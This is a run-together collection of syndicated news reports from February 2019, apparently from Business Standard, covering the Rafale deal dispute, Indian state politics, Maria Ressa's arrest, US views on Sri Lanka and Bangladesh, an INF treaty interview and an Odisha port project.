The CPI(M) described the report as a "total obfuscation of truth" and said it raised more questions than answers. In a statement, the party said it was clear that the deal was "costlier", not "faster in terms of delivery" and the Indian Air Force did not procure the planes in the quantity that it actually needed.

Gandhi observed that Modi and his cabinet colleagues' argument on why the new deal was required was based on two pillars -- price and the fact that the air force needed the planes quickly -- and said the "dissent note" by some of the Rafale deal negotiating team members had "demolished" their contention.

According to Gandhi, the note said French firm Dassault Aviation would take at least 10 years to complete its present backlog of the Rafale aircraft.

He also quoted the note as saying that the final price offered by the French government, which was escalation-based, was 55.6 per cent above the benchmark price.

"There is only one reason the new deal has been carried out and that is to give (industrialist) Anil Ambani Rs 30,000 crore," he said.

Severely critical of the CAG, he asked why the "dissent note" by the negotiating team officials was not part of the report.

"As far as I am concerned, a CAG report that does not mention this document, that does not mention the dissent the negotiating team itself made on price, on timing, I do not think it is worth the paper (it is written on)," he said.

"The CAG report is a cover-up. It ignores the cost of the missing bank guarantee & glosses over the suspect costs for 'India Specific Enhancements'. But even the CAG couldn't hide that it may take upto 10 yrs. for the 36 RAFALE jets to be delivered!," Gandhi also tweeted later.

Hitting back, Prasad cited the CAG report to say the deal signed by the Modi government was cheaper and would result in faster delivery of 36 Rafale jets that India was buying from Dassault Aviation.

"We never imagined that Indira Gandhi's grandson and Rajiv Gandhi's son will lie so shamelessly," he told reporters.

In light of the SC order and the CAG report, Gandhi should withdraw his allegations and tender an apology, he demanded.

Prasad accused the UPA government of delaying the finalisation of the aircraft's purchase and claimed the delay happened because "there would be no deal without a deal" under the Congress-led dispensation.

He alleged that the Congress-led government had sought "commissions" in such transactions.

Noting that Gandhi had cited the Hindustan Aeronautics Limited (HAL), a public sector unit, being not part of the Rafale manufacturing to attack the Modi government, the BJP leader said the CAG had observed that HAL would take 2.7 times the man-hours that Dassault would for preparing a jet.

That arrangement would have delayed the process and made it costlier, Prasad said.

Taking a dig at Gandhi, he said it was a matter of serious discussion how much the Congress president understood the CAG report, pointing out that Gandhi on Tuesday used an e-mail "about helicopters" to say that it referred to the Rafale jets.

"It is very worrisome that he cannot differentiate between helicopters and Rafale fighter jets," Prasad said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Pakistan's Foreign Minister Shah Mahmood Qureshi Wednesday claimed that India has failed to diplomatically isolate Islamabad, according to a media report.

Briefing Parliament, the minister claimed India on multiple occasions tried to harm Pakistan's diplomatic ties with other countries.

Ties between India and Pakistan nosedived following a spate of terror attacks on Indian military bases by Pakistan-based terror groups since January 2016.

Following the strikes, India announced it will not engage in talks with Pakistan, saying terror and talks cannot go hand-in-hand.

India in September cancelled the proposed meeting between External Affairs Minister Sushma Swaraj and her Pakistan counterpart Shah Mehmood Qureshi in New York citing the brutal killing of security personnel by Pakistan-based entities.

"India's failure to isolate Islamabad diplomatically is a win for the country," Qureshi was quoted as saying by The Express Tribune.

He reiterated to strengthen Pakistan's position in the diplomat and global arena and continue to address any challenges that may arise.

Qureshi also maintained that countries willing to invest in Pakistan and benefit from mutual cooperation shall not be agreeable to India.

"It is to India's discontent that nations are willing to establish mutual trade ties with Pakistan," he said.

Qureshi's assertion of diplomatic successes of Pakistan came days ahead of planned visit by Saudi Crown Prince Mohammad bin Salman on Saturday to expand economic and defence cooperation.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Protests by legislators of the Samajwadi Party and the BSP over Akhilesh Yadav being stopped at the Lucknow airport eclipsed the Question Hour in the state Assembly on Wednesday.

The pre-lunch sitting saw two adjournments as opposition members vociferously raised the issue. Amid uproar, Speaker Hriday Narain Dixit adjourned the House first for 30 minutes and then for the entire Question Hour.

As soon as the House met, SP leader Narendra Verma tried to raised the issue during Question Hour.

He was instantly supported by BSP legislature party leader Lalji Verma, who said, "Lathicharge was done in the entire state by police and fake cases were lodged against protestors. An MP (SP's Dharmendra Yadav) was injured in the lathicharge."



"There is 'Hitlershahi' in the state as government is resorting to activities which demean democracy," he claimed.

Countering Verma, Parliamentary Affairs Minister Suresh Kumar Khanna said as the opposition does not have any issue they are creating anarchy in the state.

"Our government is committed to the welfare of people and development of the state," he added.

When the speaker did not allow discussion on the matter during the Question Hour, opposition members trooped to the Well raising anti-government slogans.

The Speaker then adjourned the House for 30 minutes and later extended it to the entire Question Hour.

Before the House met, a delegation of SP and BSP leader called on Governor Ram Naik and handed over a memorandum seeking his intervention into the situation.

The delegation comprised SP leader Ahmad Hasan, BSP's Verma and a number of MLAs and MLCs from both the parties.

"We strongly condemn the dictatorial attitude of the Yogi Adityanath government. SP workers will not tolerate such action. Not only us, people of the state will give a befitting reply in the Lok Sabha elections," SP MLC Sunil Yadav Sajan told reporters outside the Raj Bhavan here.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Shankaracharya of Govardhan Peeth, Puri, Swami Nischalananda Saraswati, has convened a meeting of all stake holders to discuss the problems plaguing the Sri Jagannath Temple here for the past few years, the seer's spokesman said Wednesday.

The meeting would be held on February 17, ahead of Supreme Court appointed Amicus Curiae Ranjit Kumar's visit to Puri on February 22 over a case related to the administration of the 12th century shrine.

The Shankaracharya has invited Gajapati Maharaja of Puri Dibyasingh Deb, who is considered the first servitor of Lord Jagannath, Chief Minister Naveen Patnaik, Orissa High Court Chief Justice Kalpesh Satyendra Jhaveri, Law Minister Pratap Jena and officials of Puri district administration to the meeting, Gobardhan Peeth spokesman Manoj Rath said.

Jagannath Temple Managing Committee officials and senior servitors of the temple would also be a part of the meeting, Rath told reporters.

He said the Shankaracharya is of the view that lack of proper coordination among the state administration, temple management committee and servitors has led to a "chaotic situation" in the 12th century shrine.

Rath said the meeting will discuss issues such as "gross irregularities" committed in the 'Brahma Parivartan' ritual during the Nabakalebara festival in 2015, opening of the temple's treasury - the Ratna Bhandar - in 2018 amid protests, disappearance of the Ratna Bhandar keys, violence in Puri during a bandh protesting introduction of queue system for devotees visiting the temple.

The Shankaracharya's meeting is being organised ahead of Amicus Curiae Ranjit Kumar's visit to Puri for two days starting February 22.

During the visit, the senior lawyer will hold discussion with the Sree Jagannath Temple Administration officials, the Gajapati Maharaja, and the servitors on implementation of the reform proposals suggested by the Supreme Court.

He will later submit a report in this regard to the apex court.

The Supreme Court on January 9 appointed Kumar as amicus curiae to assist it in a matter related to administration of Jagannath temple in Puri.

Kumar's appointment to assist the apex court followed a petition filed highlighting the difficulties faced by the devotees at the temple and their alleged harassment or exploitation by the 'sevaks' of the temple.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The seven-day Punjab Assembly session was extended by one day even as the opposition Akali Dal accused the AAP of "playing B team" of the ruling Congress in not demanding extension in the budget session.

According to the Business Advisory Committee (BAC) report of Punjab Vidhan Sabha, the session would now conclude on February 22, instead of February 21.

The session commenced on February 12 with the governor's address.

Non-official business and resumption of discussion on the governor's address would take place on February 14 and 15.

The budget will be presented on February 18 and there is a holiday on February 19.

The presentation of finance accounts, presentation of supplementary demands and general discussion on budget estimates would take place on February 20 while there will be non-official business on the following day.

The general discussion on budget estimates will resume on February 22, according to the report.

Meanwhile, the Shiromani Akali Dal (SAD) alleged that the Aam Aadmi Party (AAP) had proved that it was the "B team" of the Congress with Leader of Opposition Harpal Singh Cheema refusing to even demand extension of the budget session to debate on burning issues of the state.

Addressing a press conference here, former ministers Parminder Singh Dhindsa and Bikram Singh Majithia said never before had any opposition party in Punjab remained a "mute spectator" to the "murder of democracy" in the state.

"The manner in which Harpal Cheema remained quiet in the meeting of the BAC when discussion was held on the tenure of the session and in the Assembly today shows that the AAP is working in collusion with the Congress," the former ministers alleged.

Dhindsa claimed that during a meeting of the BAC, he had repeatedly requested Cheema to register his protest at the manner in which the Congress was pushing for an extremely short one-week budget session.

"Cheema did not pay heed to my requests and when voting was to take place on the recommendations of the BAC, Cheema refused to demand a longer session to discuss issues of the youth, farmers, employees and Dalits," he claimed.

The Akali leader while speaking about three AAP legislators, who had resigned from the primary membership of the Assembly, said they stood disqualified as per the constitutional provisions.

"However the Speaker has not taken a decision on this matter. I only want to ask one thing. Are these MLAs above the constitution? How are they getting salary, house facility and security? Who will bear this expense eventually? They must answer these questions as they concern constitutional provisions as well as morality and ethics," Majithia said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Hundreds of people staged a protest Wednesday against the alleged failure of the administration to restore power supply in Bhadarwah town of Doda district in Jammu and Kashmir.

The protesters were agitated over Jammu Divisional Commissioner Sanjeev Kumar Verma's claim on Tuesday that power supply was restored by up to 90 per cent in the snowfall effected Doda, Ramban and Kishtwar districts and rest would be restored by Wednesday.

Calling the statement as "irresponsible", the protesters, who assembled at Seri Bazar, area alleged the entire region was reeling under darkness after heavy snowfall on February 6 and demanded action against for his "misleading information".

"The Amar Chashma transmission tower which broke down due to heavy snowfall has not been repaired till date. The statement of the divisional head is a cruel joke with the people of Chenab Valley," General Secretary, Shri Sanatan Dharam Sabha Bhadarwah, Neeraj Singh Manhas said.

Manhas, who was leading the protest, said the entire Doda and Kishtwar district is facing electricity crisis for a week.

"We are facing immense problems due to snapping of the power supply and have to pay Rs 50 for charging the battery of our mobile phones," Manzoor Shah, one of the protesters said.

Superintendent Engineer, Power Development Department (PDD) Doda-Kishtwar, Asgar Hussain said, that some more time is required to restore the power supply in the area.

"Both PDD and NHPC employees are working overtime to restore the power supply. It will take another day to mend the damaged transmission lines in order to restore power supply in Doda but for district Kishtwar it will at least take one week more ," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.): Kuala Lumpur-based Pelabuhan Tanjung Pelepas Sdn Bhd, part of the MMC Group, Wednesday said, it has signed an agreement with Ramco Systems to upgrade its Enterprise Resource Planning (ERP) system.

Port of Tanjng Pelepas, CEO, Marco Neelsen exchanged documents with Ramco Systems, CEO, Virender Aggarwal at the signing ceremony held recently, a press release said.

Under the agreement, Ramco Systems would implement its comprehensive ERP suite comprising procurement, inventory, finance, maintenance, human capital management, treasury, loan management among others.

The latest digital roadmap is testament to PTP's commitment in providing best in class service to customers, Neelsen said.

"By investing in the latest technology, we are establishing our terminal as one of the best equipped and most technologically advanced terminal port in the region", he said.

"We also wanted to choose a digital solution provider with tools that can aid us in our growth as well as give us the right platform to integrate to advanced technologies...," he said.

Commenting on the agreement with PTP, Aggarwal said, "PTP, being one of the world's premier and biggest transhipment ports will expand our expertise while we continue supporting their vision with our technologies and innovations.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Seven persons have been arrested from a hotel in Paharaganj here for allegedly planning a dacoity, police said Wednesday.

The accused have been identified as Aas Mohammad alias Ashu, Raju, Sumit Arora, Dheer Singh, Ashok Kumar, Rahul Batra alias Vicky and Parveen Chaudhary, they added.

On Monday, police received a tip-off that Mohammad and his associates, all members of the Rohit Chaudhary gang, had met at a hotel in Paharganj with a cache of illegal arms.

They were allegedly planning to burgle the premises of one Rajeev Gupta (name changed for security reasons), Rajiv Ranjan, additional commissioner of police (Crime), said.

Immediately, a raid was conducted and seven persons were apprehended, Ranjan said.

During interrogation, the arrested confessed to their plan of committing dacoity.

Four country-made pistols, one revolver, 30 live cartridges, two motorcycles and one car was recovered from the arrested, police added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Stepping up his attack on Prime Minister Narendra Modi over the Rafale issue, Congress president Rahul Gandhi on Wednesday cited a media report to claim that the PM's argument of better pricing and faster delivery of the jets to defend the deal has been "demolished".

His attack came after a report in The Hindu which claimed that the Rafale deal was not on"better terms" than the UPA-era offer.

"The PM defended his personal RAFALE bypass deal on 2 counts: 1. Better Price 2. Faster Delivery. Both have been demolished by the revelations in the Hindu today," he tweeted.

The government has in the past rejected all such allegations and claims against the deal.

Three senior Defence Ministry officials who were the domain experts on the seven-member Indian Negotiating Team (INT) came to a "well-substantiated and clear conclusion" that the Narendra Modi government's new Rafale deal for 36 flyaway aircraft was not on "better terms" than the offer made by Dassault Aviation during the procurement process for 126 aircraft under the United Progressive Alliance government, the report in the English daily said.

Raising slogans such as "chowkidar chor hai", Congress lawmakers, including Rahul Gandhi, UPA chairperson Sonia Gandhi and former prime minister Manmohan Singh, protested near the Gandhi statue in Parliament complex over the Rafale deal.

The Congress leaders were seen carrying paper planes and posters, alleging scam in the multi-crore fighter jet deal.

Citing the report, Congress' chief spokesperson Randeep Singh Surjewala said the "theft has been caught".

Surjewala highlighted four points citing the report -- price of 36 Rafale jets was 55 per cent higher than the UPA-era offer, loss incurred by not taking 25 per cent discount for Rafale as offered by Eurofighter, bank and sovereign guarantee waived, and no aircraft for 10 years with escalation cost to be paid.

The Congress' attack came a day after, Rahul Gandhi accused the prime minister of "treason" and violating the Official Secrets Act by acting as Anil Ambani's "middleman" in the Rafale jet contract, citing an email to claim the businessman was aware of the deal days before India and France finalised it.

The BJP, however, had rejected the charge, saying the email purportedly by an Airbus executive referred to a helicopter deal and not Rafale.

Reliance Defence, in a statement, also refuted Gandhi's allegation saying the "proposed MoU" mentioned in the email referred to its cooperation with Airbus Helicopter.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In recent years, Moscow and Washington have regularly accused each other of violating the Treaty on Intermediate-Range and Shorter-Range Missiles (INF). And although NATO assures that if the treaty expires, the alliance will not deploy new land-based nuclear weapons in Europe, the situation remains very tense. In an interview with Vestnik Kavkaza, German political scientist Alexander Rahr comments on what is happening.

- Alexander Glebovich, can Germany and the EU somehow help the United States and Russia return to the negotiating table on the INF Treaty? What opportunities does Germany have? And where is the place of Germany in this situation?

- It seems to me that Germany does not use all its strength and all its capabilities in order to reconcile the West and Russia. The point is not that the United States and Russia are in conflict. A certain amount of conflict is produced and exists in Europe, and not just in America. The US has its own agenda and troubles, its anger at Russia. And Europeans have their own geopolitical and value conflicts. I think that in this situation Germany should try to do everything possible to detente the issues of disarmament. There should be Germans self-interest in not becoming a front-line state where the nuclear missiles will be placed. Germany is vitally interested in Moscow and Washington (and, best of all, Beijing joining them) to start the constructive disarmament talks. The main thing is that there should be no nuclear missiles in Europe.

- What incentives can Germany offer to Moscow and Washington?

- It can only explain that Europe cannot become a target for the enemy - Russia or, maybe, China- like it was during the Cold War. Europe achieved peace through much suffering after the end of the Cold War, after the fall of the Berlin Wall. But no one could have expected that 30 years after the fall of the Berlin Wall, the medium-range missiles would be placed in Germany. It just does not make sense for Germans. But at the same time, Germans can do nothing. They do not want this, but on the other hand, Americans demand solidarity from them. Poles and Balts have their own agenda in relation to Russia - to take revenge on Russia for 45 years of communism and for many other things.

- If you poll the population of Germany, where the pacifist sentiments are strong, the overwhelming majority will oppose the deployment of new American nuclear missiles in Germany and Europe. Do you assume that the people may say their firm no?

-Such pacifist and anti-American sentiments were much stronger in the 1980s. Despite the overwhelming majority of those who protest and do not want any missiles on German territory, under the government of Helmut Schmidt - the Social Democrats - Americans delivered them, and Germany, or rather its political elite, did not oppose.

Indeed, there is a complete discord in what people (the majority of Germans believe that they have generally reconciled with Russia and do not understand the meaning of the new Cold War) and representatives of the ruling elite want. The elite must obey the American interests, nothing can be done here, Americans morally and financially put pressure on Germany. The United States constantly reminds us that it saved Germany from communism during the Cold War and restored its economy. And at the same time, Washington has other allies in Europe - Poles, Balts - who remind Germany of its guilt, in particular, the signing of the Molotov-Ribbentrop Pact, frightening Germans with these ghosts of the past. And Germans are very affected by this, because, in principle, they are aware of their guilt for the Second World War, they understand that this should never happen again. Therefore, they are now in such an unenviable situation, where, on the one hand, they do not want all this, and on the other hand, they cannot say no.

German politicians tell me that there are historical resentments on the part of the Eastern European countries. They say that they need to be understood because they suffered from communism for 45 years, they were constantly divided, they were victims of both Germany and the Soviet Union, so the history should not be repeated in any way. And therefore, it is necessary to show maximum solidarity. When I object that this is happening to the detriment of our partnership with Russia, it can lead to a new cold war, since Russia has its own security interests, in response, they just give me a shrug and say: For us, the interests and world outlook of our new European members, NATO and the EU are closer than the Russian fears, discontent and interests.

Recruits, new members of the EU and NATO, entered these associations for one reason - to defend themselves from Russia, which they consider an enemy. This situation complicates any attempt to resolve the conflict, because these countries do not want reconciliation with Russia, and Russia simply does not take these countries seriously, saying: Why should we take them into consideration, who are they? They are our former vassals, and now they are American vassals. What can we discuss with them? And this is forcing more and more fears and heightens the conflict within Europe.

- How can Germany ensure its own security in such a situation? After all, Germany now has no effective conventional armed forces. There are no nuclear weapons. How can Germany in such conditions, when the relations with the Trump administration are not at the highest level, and there is a tension in the relations with Russia, secure its long-term national security interests?

- Indeed, Germany has no serious army. Now the agenda is the fight against terrorism, but it is the task of the internal agencies. The intelligent services are more or less able to cope with this task, they hardly manage to strengthen the borders in order to restrain the flow of refugees. In fact, this is the main challenge facing Europe. Separate European armies, I think, could not do anything even in the Arab world. Indeed, for 50 years, Europe was not dealing with its own weapons and laid this obligation on Americans. Europe appointed the US as the commander in chief of all security issues. Now it is necessary to clear up this mess because the American president thinks more like a businessman and less like an ideologue. Trump says bluntly: You have to pay for your safety. You have no army. "

He says that Europeans must pay for American soldiers and missiles that the US will deploy. In fact, he brazenly demands that Europeans pay for Pax Americana. This attitude reminds the relations with vassals - we protect you, then we will take tribute from you, so you must pay, if you want to be friends with us; we dont actually like you, but the circumstances are such that we need to protect you, and you will pay for this protection. This is a new development in transatlantic relations.

Some countries are ready to submit to this harsh American dictates with pleasure. This is whether some masochistic feelings or desire to conflict with Russia. Other countries, Germany, France, do not want this.

Germany understands that the security issues around Europe are becoming very acute and the situation is aggravated. But Germany simply does not want to give money for tanks and aircraft. The country believes that if we increase military budgets and budgets for our own security, then they should be spent on the means for preventive policy in same Africa and the Middle East. This money can be directed, first of all, to stopping the migration flow, including the flow of terrorists to Europe. I think Germany regards this but not Russian missiles as the main challenge and threat.

- Yes, but in this case, Germany will not buy American weapons, which also plays a role in the American requirements.

- Yes, it also plays a role. The US is interested in Europe buying American gas instead of Russian, and American weapons, so that America will be good at the expense of its vassals, who should become useful to Americans in this way.

This is an interesting moment in history, because it is under question what will happen to the Atlantic relations, and it is not known what will happen to NATO. NATO, however, has now accepted Macedonia, but I think the further expansion is impossible. Ukraine will not be accepted, Georgia - either. So the question is - why do we need the NATO bloc?

- What is your forecast for the development of the current situation? Will Germany be able to find some kind of balance, a verified solution for the emerging geopolitical situation? Or will everything continue by inertia, as it is happening now?

- I hope that Germany will be courageous enough to find new forms of its status as the EU leader. But today I am very pessimistic about this because the American spirit here is very strong. The elites are closely associated with America by their career and worldview - they studied there, built careers, they belong to different structures, foundations, and so on. Today I do not consider the idea of an independent Europe under the authority of Germany and France to be real. My vision that we are moving slowly but surely (this is a very pessimistic forecast, and I wrote about this in my last book, 2054 - Putin decoded: a political thriller) to a new bloc system. Somehow, the transatlantic alliance under a different name will continue to exist, but its condition will be weak, and its policy will force Eurasian countries to unite in alliances - India, China, Pakistan, Russia, Turkey and Iran. China, in the first place, will create its own alliances, its connections that will grow stronger and stronger. I think that in Asia, the military security structure will soon grow before our eyes. It can become quite serious and able to compete with NATO.Anil Ambani-led Reliance Power Ltd (RPL) Wednesday moved the Bombay High Court seeking to reverse the sale of its pledged shares by the Edelweiss group, but the court refused to grant it any interim relief.

A single judge bench headed by K R Shriram refused to order the reversal of the sale process or grant any other relief to RPL, and posted the matter for detailed hearing on Thursday.

Apart from reversal of share sale, the RPL petition has also demanded damages of Rs 2700 crore.

Significantly, the petition does not name L&T Finance as a respondent, though Reliance group had also named it in a public statement last Sunday.

The move comes after a war of words between the two companies last week after the Edelweiss and L&T Finance had sold pledged shares of Reliance Power and other group companies following steep correction in stock prices after Reliance Communication decided to file for bankruptcy on February 1. Since then the group companies have lost around 70 per cent of their market value.

The judge said he will hear the petition in details on merit over other prayers made by RPL such as declaring the sale of shares illegal and void, and seeking compensation from Edelweiss for the financial and reputational losses following the liquidation of shares.

RPL in its plea said it along with group company RCom had pledged some shares of various promoter companies to the Edelweiss group in lieu of a loan.

On February 4, RPL received a notice from Edelweiss ECL Finance notifying the sale of its shares by the debenture holding companies of Edelweiss group. And the next day, shares worth Rs 5.96 crore were sold. Some shares were also transferred to the debenture holders the same evening by the debenture trustee at a much lower value.

ECL counsel Janak Dwarkadas said it was well within its rights to sell the pledged shares. Dwarkadas also said in August 2018 RPL shares had plummeted and as per their contract, the company was required to pay an additional 2 per cent interest on the loan. But, it refused to pay the additional amount so far.

"And on February 1 this year, RCom had filed for bankruptcy following which share prices plummeted again. But RPL never bothered to communicate with us. We needed to protect our debenture holders and, therefore, sold the pledged shares," Dwarkadas said.

RPL counsel Aspi Chinoy, however, argued that as per its contract, share sale could have been initiated only by the trustee of the debenture holders and not the debenture holders themselves.

Chinoy further argued that the notice given just a day prior to the sale was inadequate and therefore, owing to the above reasons, the sale must be declared void by the court. It further said such sale also led to its share prices plummeting and causing Rs 274 crore losses.

RPL also accused the debenture trustee of having ignored its fiduciary obligations to realise fair value for the pledged shares. It argued that RPL must be compensated by ECL for the loss.

The bench, however, said during the detailed hearing, RPL will have to prove that in giving just a day's notice before the sale, ECL committed a breach of contract.

"Your contract provides for a 24-hr notice so you will have to prove that under some existing law it was illegal. Why did you agree for a 24 hour notice in the first place while borrowing money?" the bench asked and said he was not inclined to pass any interim orders granting relief to RPL.

"Ad interim relief rejected. Reasons for the same will be recorded separately," he said, adding a detailed order is likely to come by Thursday evening.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In a bid to implement the ban on plastics in the state in toto, the Tamil Nadu government Wednesday proposed imposing fine on use and throw plastic items, including Rs one lakh for a third time offender.

Municipal Administration and Rural Development Minister S P Velumani moved a bill in this regard in the state Assembly Wednesday.

In an environment-friendly move, the state government banned the use of 14 types of plastics, including carry bags, with effect from January 1, 2019.

According to the Tamil Nadu Panchayats (Second Amendment) Act, 2019 penalties for storage, supply, transport, sale and distribution of use and throw plastics, the highest amount of fine for third time offence will be Rs one lakh.

It will be Rs 25,000 and Rs 50,000 for the first and second time offences.

The government also proposed to levy fines for large small vendors, commercial complexes and grocery shops, ranging from about Rs 500 to Rs 25,000 for a third time offence.

Chief Minister K Palaniswami had last June announced the plastic ban, including that of non-biodegradable carry bags, from January 2019 to "gift a plastic-free" state to future generations.

The ban would cover these plastic articles irrespective of their micron size, he had said, but exempted polythene sachets used for packing milk, curd, oil and medical equipment.

The ban came into force from January 1, with scores of commercial establishments largely switching over to eco-friendly cloth and paper bags.

Officials are also carrying periodic checks to ensure no banned items were available in the market.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The award-winning head of a Philippine online site that has aggressively covered President Rodrigo Duterte's administration was arrested Wednesday by government agents in a libel case.

Maria Ressa, who was selected by Time magazine as one of its Persons of the Year last year, was arrested over a libel complaint from a businessman which Amnesty International condemned as "brazenly politically motivated."



Duterte's government said the arrest was a normal step in response to the complaint.

Duterte has openly lambasted journalists who write unfavorable stories about him, including his anti-drug campaign that has left thousands of mostly poor suspects dead.

Rappler Inc, the site which Ressa heads, said National Bureau of Investigation agents served the warrant late Wednesday afternoon, making it difficult for Ressa to apply for bail, and escorted her from the Rappler office to NBI headquarters.

"We are not intimidated. No amount of legal cases, black propaganda, and lies can silence Filipino journalists who continue to hold the line," Ressa said in a statement.

"These legal acrobatics show how far the government will go to silence journalists, including the pettiness of forcing me to spend the night in jail." Ressa and a former Rappler researcher, Reynaldo Santos Jr, were indicted recently, the Department of Justice said.

Rappler said the businessman filed the libel complaint five years after the article appeared in 2012, and the law under which Ressa was charged by the government, the Cybercrime Prevention Act, did not go into effect until months after the article's publication.

The article included allegations that the businessman was linked to illegal drugs and human trafficking, and that a car registered in his name had been used by the country's chief justice.

Amnesty International Philippines said Ressa's arrest was based on a "trumped up libel charge." "This is brazenly politically motivated, and consistent with the authorities' threats and repeated targeting of Ressa and her team," it said.

Justice Secretary Menardo Guevarra said the arrest was "merely part of any criminal procedure." Duterte's spokesman said the charge against Ressa was based on facts which she should simply answer and had "nothing to do" with press freedom.

Rappler is one of several agencies deemed critical of Duterte's policies.

Duterte had already banned a Rappler reporter from his news briefings after the government's corporate watchdog found that the news site violated a constitutional prohibition on foreign ownership of media when it received money from an international investment firm. Rappler, founded in 2012, rejected the ruling.

Ressa has also posted bail on tax evasion charges which she denies and says were politically motivated.

The International Press Institute, a global network of media personnel, strongly condemned Ressa's detention.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Amid the increasing Chinese influence over the strategically important Indo-Pacific region, a top Pentagon commander has advocated sustained US engagement with Sri Lanka, despite the political and ethnic turmoil in the island nation, posing a challenge to their ties.

Sri Lanka remains a significant strategic opportunity in the Indian Ocean, and our military-to-military relationship continues to strengthen," US Indo-Pacific Command chief Adm Philips Davidson told the Senate's Armed Services Committee during a Congressional hearing.

"The political turmoil and ethnic tension between the Tamil and Sinhalese populations, however, remain drivers of instability and potential obstacles to continued growth in our partnership, he deposed.

Moreover, Sri Lanka has handed over the deep water port of Hambantota to China on a 99-year lease due to its mounting debts to China, which has caused international concern, he said.

Despite the political upheaval, it is in America's interests to continue military collaboration and cooperation with Sri Lankan Forces, he added.

The United States Indo-Pacific Command (USINDOPACOM) cooperation with the Sri Lankan military centers on building capacity in maritime security and maritime domain awareness, humanitarian assistance and disaster relief as well as humanitarian de-mining, medical assistance, and peacekeeping operations, he said.

Increasing navy-to-navy engagement with Sri Lanka will be a USINDOPACOM focus in 2019, he added.

Davidson said the Sri Lankan Navy is a well-trained and professional force with the potential to contribute to multi-lateral maritime interoperability in the Indian Ocean.

The recent transfer of an excess US Coast Guard cutter to Sri Lanka in August 2018, along with additional platforms from Japan and India, provide the Sri Lankan Navy greater capabilities to contribute to regional maritime domain awareness initiatives, he said.

Going forward, it is necessary to sustain engagement with Sri Lanka, particularly the navy, and construct a multi-lateral approach to capacity building with like-minded partners to rapidly enhance the Sri Lankan Navy's capabilities, Davidson said.

According to the top Pentagon Commander, Beijing is exploiting growing debt burdens to access strategic infrastructure in the region.

In December 2017, Sri Lanka handed over control of the newly-built Hambantota seaport to Beijing with a 99-year lease because Sri Lanka could no longer afford its debt payments to China, he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A top American commander and a bipartisan group of influential lawmakers have voiced concern over the status of democracy in Bangladesh, saying Prime Minister Sheikh Hasina is trying to achieve a de-facto one-party rule.

US Indo-Pacific Command chief Adm Philips Davidson expressed the concerns in his deposition to the Senate's Armed Services Committee during a Congressional hearing.

Davidson's deposition was followed hours later by a bipartisan group of six influential lawmakers, led by Congressman Eliot Engel who chairs the powerful Foreign Affairs Committee of the House, writing to Secretary of State Mike Pompeo seeking "a timely response" to protect democracy in Bangladesh.

Bangladesh's December 30 elections point to a concerning trend of consolidation of power by the ruling Awami League and raise fears that PM Hasina is aiming to achieve a de facto one-party state, Davidson told the Senate's Armed Services Committee during a Congressional hearing.

He voiced the concern while calling Bangladesh an important country for the US.

Bangladesh is an important security partner with strong potential to enhance regional stability and advance US interests in South Asia on counter-terrorism, Muslim outreach, countering violent extremism, supporting humanitarian assistance and disaster relief, and the United Nations Peacekeeping Operations, he said.

The humanitarian crisis caused by the presence of over 700,000 Rohingya refugees from Burma (Myanmar) in Bangladesh has strained the Bangladesh government, said the top Pentagon commander.

Military-to-military engagement with Bangladesh fits into a broader strategy and commitment to uphold an international, rules-based order in the vital Indo-Pacific region and contributes to building a regional security framework, Davidson said.

The bipartisan group of six lawmakers wrote to Pompeo, saying that the allegations of widespread rigging and voter suppression must be taken seriously.

We are gravely concerned by the negative trajectory of democracy in Bangladesh and request an outline on how the Department intends to respond to this trend, particularly in light of the serious allegations that the outcome of the December 2018 elections lacked credibility, the lawmakers said.

Asserting that supporting democracy, rule of law, and human rights in the Indo-Pacific region is critical to advancing US interests, the letter said the reports of widespread irregularities in Bangladesh's recent elections seriously threaten those important interests.?



There will be a series of elections taking place this year in Asia, including those in Afghanistan, Indonesia, the Philippines, and Thailand. It is crucial that the United States demonstrate its continued commitment to and respect for democratic institutions, beginning with Bangladesh, the lawmakers wrote.

Observing that Bangladesh has a strong and proud democratic tradition, the Congressmen said they are dismayed that ?the campaign leading up to the election was marred by violence, mass arrests and a crackdown on free speech.

"The Awami League?claimed?96?percent?of the seats contested --?more than the party and its allies won in 2014, when a key opposition party boycotted the general elections ?and the Awami League ran unopposed in more than half of the seats contested," the letter said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Odisha Chief Minister Naveen Pattanaik Wednesday laid the foundation stone for a Rs 5,000 crore new port in Balasore district.

The all weather commercial Subarnarekha Port is being developed jointly by Tata Steel having 51 per cent share and Chennai based Creative Port Private Ltd (CPPL) with 49 per cent share, is scheduled to be commissioned within 36 months period.

"I am delighted to lay the foundation stone for the proposed Subarnarekha port today," Pataik said while addressing a regional Youth Conclave of Biju Yuva Bahini here at the police line field.

"Estimated project cost of the port is Rs 5,000 crore for which 692 acres of land have already been provided to the developers," an official statement said.

Balasore MP Rabindra Jena said "This port will create direct and indirect employments for at least 12,000 people."



"The proposed port to be built at Chumukh area in Baliapal block under Balasore district, will have 12 berths and will handle goods of 25 to 55 million (MTPA) matric tonne per annum," said an official.

A port official said when commissioned, Subarnarekha port draft would be 18 meters, the deepest in the Odisha coast. The other two ports at Paradip and Dhamara have draft of 14.5 meters and 17.2 meters respectively. Even it would be deeper than Haladia port which is 7.5 meters, they said.

The CPPL on December 18, 2006 had signed a MoU with Odisha government to develop the proposed port. However, Tata Steel recently acquired 51 per cent equity in the port project from CPPL.

During initial period the project faced hurdles like objection from Union Ministry of and Forest as well as ministry of Defence. The project has now been cleared by both the ministries.

Chief Secretary A P Padhi on Tuesday said that the state government has already handed over 692 acres of land to the developers and remaining 150 acres, which includes some patches of private lands, will be provided soon.

According to Tata Steel MD, T V Narendran, the proposed Subarnarekha port will bring significant transformation in Odishas transport scenario particularly with neighbouring states like West Bengal and Jhadkhand. He said this port will be beneficial for the steel and other plants in Odisha as well as neighbouring states.

